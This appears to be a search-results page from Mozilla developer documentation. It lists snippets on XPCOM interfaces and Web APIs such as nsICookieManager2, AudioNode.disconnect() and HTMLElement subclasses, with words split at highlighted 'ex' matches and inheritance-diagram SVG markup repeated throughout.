nsIAccessibleRetrieval
kreference ashell); obsolete since gecko 2.0 nsidomnode getrelevantcontentnodefor(in nsidomnode anode); astring getstringeventtype(in unsigned long aeventtype); astring getstringrelationtype(in unsigned long arelationtype); astring getstringrole(in unsigned long arole); nsidomdomstringlist getstringstates(in unsigned long astates, in unsigned long a
extrastates); methods getaccessiblefor() return an nsiaccessible for a dom node in pres shell 0.
... create a new accessible of the appropriate type if necessary, or use one from the accessibility cache if it already
exists.
...create a new accessible of the appropriate type if necessary, or use one from the accessibility cache if it already
exists.
...And 7 more matches
nsIAuthModule
inherits from: nsisupports last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) method overview void getn
exttoken([const] in voidptr aintoken, in unsigned long aintokenlength, out voidptr aouttoken, out unsigned long aouttokenlength); void init(in string aservicename, in unsigned long aserviceflags, in wstring adomain, in wstring ausername, in wstring apassword); void unwrap([const] in voidptr aintoken, in unsigned long aintokenlength, out voidptr aouttoken, out unsigned long aouttokenlength); void wrap([const] in voidptr aintoken, in unsigned long aintokenlength, in boolean confidential, out voidptr aouttoken, out un...
... methods getn
exttoken() this method is called to get the n
ext token in a sequence of authentication steps.
... void getn
exttoken( [const] in voidptr aintoken, in unsigned long aintokenlength, out voidptr aouttoken, out unsigned long aouttokenlength ); parameters aintoken a buffer containing the input token (for
example a challenge from a server).
...And 7 more matches
nsICookieManager2
the nsicookiemanager2 interface contains additional methods that
expand upon the nsicookiemanager interface.
...to create an object implementing this interface: components.utils.import("resource://gre/modules/services.jsm"); var cookieservice = services.cookies; method overview void add(in autf8string ahost, in autf8string apath, in acstring aname, in acstring avalue, in boolean aissecure, in boolean aishttponly, in boolean aissession, in print64 a
expiry); boolean cookie
exists(in nsicookie2 acookie); unsigned long countcookiesfromhost(in autf8string ahost); boolean findmatchingcookie(in nsicookie2 acookie, out unsigned long acountfromhost); obsolete since gecko 1.9 nsisimpleenumerator getcookiesfromhost(in autf8string ahost); void importcookies(in nsifile acookiefile); methods add() ad...
... void add( in autf8string ahost, in autf8string apath, in acstring aname, in acstring avalue, in boolean aissecure, in boolean aishttponly, in boolean aissession, in print64 a
expiry ); parameters ahost the host or domain for which the cookie is set.
...And 7 more matches
nsIDownloadManager
toolkit/components/downloads/public/nsidownloadmanager.idlscriptable this interface lets applications and
extensions communicate with the download manager, adding and removing files to be downloaded, fetching information about downloads, and being notified when downloads are completed.
...the target will most likely no longer
exist.
...
exceptions thrown ns_error_failure the download is not in progress.
...And 7 more matches
nsIEditorSpellCheck
ionary(in wstring word); boolean canspellcheck(); void checkcurrentdictionary(); boolean checkcurrentword(in wstring suggestedword); boolean checkcurrentwordnosuggest(in wstring suggestedword); astring getcurrentdictionary(); void getdictionarylist([array, size_is(count)] out wstring dictionarylist, out pruint32 count); wstring getn
extmisspelledword(); void getpersonaldictionary(); wstring getpersonaldictionaryword(); wstring getsuggestedword(); void ignorewordalloccurrences(in wstring word); void initspellchecker(in nsieditor editor, in boolean enableselectionchecking); void removewordfromdictionary(in wstring word); void replaceword(in wstring misspelledword, in ...
...wstring replaceword, in boolean alloccurrences); void savedefaultdictionary(); obsolete since gecko 9.0 void setcurrentdictionary(in astring dictionary); void setfilter(in nsit
extservicesfilter filter); void uninitspellchecker(); void updatecurrentdictionary(); methods addwordtodictionary() adds the specified word to the current personal dictionary.
... getn
extmisspelledword() when interactively spell checking the document, this will return the value of the n
ext word that is misspelled.
...And 7 more matches
nsIHttpActivityObserver
1.0 66 introduced gecko 1.8 inherits from: nsisupports last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) method overview void observeactivity(in nsisupports ahttpchannel, in pruint32 aactivitytype, in pruint32 aactivitysubtype, in prtime atimestamp, in pruint64 a
extrasizedata, in acstring a
extrastringdata); attributes attribute type description isactive boolean true when the interface is active and should observe http activity, otherwise false.
...observers can look at request headers in a
extrastringdata activity_subtype_request_body_sent 0x5002 the http request's body has been sent.
...void observeactivity( in nsisupports ahttpchannel, in pruint32 aactivitytype, in pruint32 aactivitysubtype, in prtime atimestamp, in pruint64 a
extrasizedata, in acstring a
extrastringdata ); parameters ahttpchannel the nsihttpchannel on which the activity occurred.
...And 7 more matches
nsIWebNavigation
inherits from: nsisupports last changed in gecko 1.9 (firefox 3) this interface is implemented by the following components: * @mozilla.org/browser/shistory-internal;1 * @mozilla.org/browser/shistory;1 * @mozilla.org/embedding/browser/nswebbrowser;1 * @mozilla.org/docshell;1 gecko 1.9.2 note in gecko 1.9.2 (firefox 3.6), the @mozilla.org/webshell;1 component no longer
exists; you need to use @mozilla.org/docshell;1 instead.
... method overview void goback void goforward void gotoind
ex( in long ind
ex ) void loaduri(in wstring uri , in unsigned long loadflags , in nsiuri referrer , in nsiinputstream postdata, in nsiinputstream headers) void reload(in unsigned long reloadflags) void stop(in unsigned long stopflags) constants load flags constant value description load_flags_mask 65535 this flag defines the range of bits that may be specified.
... load_flags_replace_history 128 this flag specifies that any
existing history entry should be replaced.
...And 7 more matches
AnalyserNode.getByteFrequencyData() - Web APIs
for
example, for 48000 sample rate, the last item of the array will represent the decibel value for 24000 hz.
... if the array has fewer elements than the analysernode.frequencybincount,
excess elements are dropped.
... if it has more elements than needed,
excess elements are ignored.
...And 6 more matches
AudioBufferSourceNode - Web APIs
ck; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">eventtarget</t
ext></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/audionode" target="_top"><rect x="151" y="1" width="90" heigh...
...t="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="196" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">audionode</t
ext></a><polyline points="241,25 251,20 251,30 241,25" stroke="#d4dde4" fill="none"/><line x1="251" y1="25" x2="281" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/audioscheduledsourcenode" target="_top"><rect x="281" y="1" width="240" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="401" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">audioscheduledsourcenode</t
ext></a><polyline points="521,25 531,20 531,30 521,25" stroke="#d4dde4" fill="none"/...
...><line x1="531" y1="25" x2="561" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/audiobuffersourcenode" target="_top"><rect x="561" y="1" width="210" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><t
ext x="666" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">audiobuffersourcenode</t
ext></a></svg></div> a:hover t
ext { fill: #0095dd; pointer-events: all;} an audiobuffersourcenode has no inputs and
exactly one output, which has the same number of channels as the audiobuffer indicated by its buffer property.
...And 6 more matches
AudioNode.disconnect() - Web APIs
if no matching connection is found, an invalidaccesserror
exception is thrown.
... output optional an ind
ex describing which output from the current audionode is to be disconnected.
... the ind
ex numbers are defined according to the number of output channels (see audio channels).
...And 6 more matches
AudioParam.setTargetAtTime() - Web APIs
starttime the time that the
exponential transition will begin, in the same time coordinate system as audiocont
ext.currenttime.
... if it is less than or equal to audiocont
ext.currenttime, the parameter will start changing immediately.
... timeconstant the time-constant value, given in seconds, of an
exponential approach to the target value.
...And 6 more matches
CSS Painting API - Web APIs
you can then apply these values to properties like background-image to set compl
ex custom backgrounds on an element.
... for
example: aside { background-image: paint(mypaintedimage); } the api defines paintworklet, a worklet that can be used to programmatically generate an image that responds to computed style changes.
... interfaces paintworklet programmatically generates an image where a css property
expects a file.
...And 6 more matches
Compositing and clipping - Web APIs
« previousn
ext » in all of our previous
examples, shapes were always drawn one on top of the other.
... globalcompositeoperation we can not only draw new shapes behind
existing shapes but we can also use it to mask off certain areas, clear sections from the canvas (not limited to rectangles like the clearrect() method does) and more.
... see compositing
examples for the code of the following
examples.
...And 6 more matches
DOMMatrixReadOnly - Web APIs
the identity matrix is one in which every value is 0
except those on the main diagonal from top-left to bottom-right corner (in other words, where the offsets in each direction are equal).
...if no matrix is specified as the multiplier, the matrix is multiplied by a matrix in which every element is 0
except the bottom-right corner and the element immediately above and to its left: m33 and m34.
...the elements are stored into the array as single-precision floating-point numbers in column-major (col
exographical access, or "col
ex") order.
...And 6 more matches
DragEvent - Web APIs
event types drag this event is fired when an element or t
ext selection is being dragged.
... dragenter this event is fired when a dragged element or t
ext selection enters a valid drop target.
... drag
exit this event is fired when an element is no longer the drag operation's immediate selection target.
...And 6 more matches
FileError - Web APIs
it
extends the fileerror interface described in file writer and adds several new error codes.
... best practices most people don't read the page on errors and
exceptions unless they're stumped.
...for
example, the app might be trying to move a directory into its own child or moving a file into its parent directory without changing its name.
...And 6 more matches
FileSystemEntry.copyTo() - Web APIs
errorcallback optional an optional callback which is
executed if an error occurs while copying the items.
... fileerror.quota_
exceeded_err the operation
exceeded the user's storage quota, or there isn't enough storage space left to complete the operation.
...
example this
example shows how a temporary log file might be moved into a more permanent "log" directory.
...And 6 more matches
FileSystemEntry.getMetadata() - Web APIs
errorcallback optional an optional callback which is
executed if an error occurs while looking up the metadata.
... errors fileerror.not_found_err the filesystementry refers to an item which doesn't
exist.
...
example this
example checks the size of a log file in a temporary folder and, if it
exceeds a megabyte, moves it into a different directory.
...And 6 more matches
HTMLAreaElement - Web APIs
play: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">eventtarget</t
ext></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50...
..." fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="188.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">node</t
ext></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">element</t
ext></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" ...
...stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlelement" target="_top"><rect x="381" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="436" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">htmlelement</t
ext></a><polyline points="491,25 501,20 501,30 491,25" stroke="#d4dde4" fill="none"/><line x1="501" y1="25" x2="509" y2="25" stroke="#d4dde4"/><line x1="509" y1="25" x2="509" y2="90" stroke="#d4dde4"/><line x1="509" y1="90" x2="492" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlareaelement" target="_top"><rect x="341" y="65" width="150" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><t
ext x="416" y="94" font-size="12px" font-f...
...And 6 more matches
HTMLBodyElement - Web APIs
play: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">eventtarget</t
ext></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50...
..." fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="188.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">node</t
ext></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">element</t
ext></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" ...
...stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlelement" target="_top"><rect x="381" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="436" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">htmlelement</t
ext></a><polyline points="491,25 501,20 501,30 491,25" stroke="#d4dde4" fill="none"/><line x1="501" y1="25" x2="509" y2="25" stroke="#d4dde4"/><line x1="509" y1="25" x2="509" y2="90" stroke="#d4dde4"/><line x1="509" y1="90" x2="492" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlbodyelement" target="_top"><rect x="341" y="65" width="150" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><t
ext x="416" y="94" font-size="12px" font-f...
...And 6 more matches
HTMLImageElement - Web APIs
play: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">eventtarget</t
ext></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50...
..." fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="188.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">node</t
ext></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">element</t
ext></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" ...
...stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlelement" target="_top"><rect x="381" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="436" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">htmlelement</t
ext></a><polyline points="491,25 501,20 501,30 491,25" stroke="#d4dde4" fill="none"/><line x1="501" y1="25" x2="509" y2="25" stroke="#d4dde4"/><line x1="509" y1="25" x2="509" y2="90" stroke="#d4dde4"/><line x1="509" y1="90" x2="492" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlimageelement" target="_top"><rect x="331" y="65" width="160" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><t
ext x="411" y="94" font-size="12px" font-...
...And 6 more matches
HTMLOptionElement - Web APIs
play: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">eventtarget</t
ext></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50...
..." fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="188.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">node</t
ext></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">element</t
ext></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" ...
...stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlelement" target="_top"><rect x="381" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="436" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">htmlelement</t
ext></a><polyline points="491,25 501,20 501,30 491,25" stroke="#d4dde4" fill="none"/><line x1="501" y1="25" x2="509" y2="25" stroke="#d4dde4"/><line x1="509" y1="25" x2="509" y2="90" stroke="#d4dde4"/><line x1="509" y1="90" x2="492" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmloptionelement" target="_top"><rect x="321" y="65" width="170" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><t
ext x="406" y="94" font-size="12px" font...
...And 6 more matches
HTMLAnchorElement - Web APIs
play: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">eventtarget</t
ext></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50...
..." fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="188.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">node</t
ext></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">element</t
ext></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" ...
...stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlelement" target="_top"><rect x="381" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="436" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">htmlelement</t
ext></a><polyline points="491,25 501,20 501,30 491,25" stroke="#d4dde4" fill="none"/><line x1="501" y1="25" x2="509" y2="25" stroke="#d4dde4"/><line x1="509" y1="25" x2="509" y2="90" stroke="#d4dde4"/><line x1="509" y1="90" x2="492" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlanchorelement" target="_top"><rect x="321" y="65" width="170" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><t
ext x="406" y="94" font-size="12px" font...
...And 5 more matches
HTMLIFrameElement - Web APIs
play: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">eventtarget</t
ext></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50...
..." fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="188.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">node</t
ext></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">element</t
ext></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" ...
...stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlelement" target="_top"><rect x="381" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="436" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">htmlelement</t
ext></a><polyline points="491,25 501,20 501,30 491,25" stroke="#d4dde4" fill="none"/><line x1="501" y1="25" x2="509" y2="25" stroke="#d4dde4"/><line x1="509" y1="25" x2="509" y2="90" stroke="#d4dde4"/><line x1="509" y1="90" x2="492" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmliframeelement" target="_top"><rect x="321" y="65" width="170" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><t
ext x="406" y="94" font-size="12px" font...
...And 5 more matches
HTMLOutputElement - Web APIs
play: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">eventtarget</t
ext></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50...
..." fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="188.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">node</t
ext></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">element</t
ext></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" ...
...stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlelement" target="_top"><rect x="381" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="436" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">htmlelement</t
ext></a><polyline points="491,25 501,20 501,30 491,25" stroke="#d4dde4" fill="none"/><line x1="501" y1="25" x2="509" y2="25" stroke="#d4dde4"/><line x1="509" y1="25" x2="509" y2="90" stroke="#d4dde4"/><line x1="509" y1="90" x2="492" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmloutputelement" target="_top"><rect x="321" y="65" width="170" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><t
ext x="406" y="94" font-size="12px" font...
...And 5 more matches
HTMLTableRowElement.insertCell() - Web APIs
syntax var newcell = htmltablerowelement.insertcell(ind
ex); htmltablerowelement is a reference to an html <tr> element.
... parameters ind
ex optional ind
ex is the cell ind
ex of the new cell.
... if ind
ex is -1 or equal to the number of cells, the cell is appended as the last cell in the row.
...And 5 more matches
HTMLTableSectionElement - Web APIs
play: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">eventtarget</t
ext></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50...
..." fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="188.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">node</t
ext></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">element</t
ext></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" ...
...stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlelement" target="_top"><rect x="381" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="436" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">htmlelement</t
ext></a><polyline points="491,25 501,20 501,30 491,25" stroke="#d4dde4" fill="none"/><line x1="501" y1="25" x2="509" y2="25" stroke="#d4dde4"/><line x1="509" y1="25" x2="509" y2="90" stroke="#d4dde4"/><line x1="509" y1="90" x2="492" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmltablesectionelement" target="_top"><rect x="261" y="65" width="230" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><t
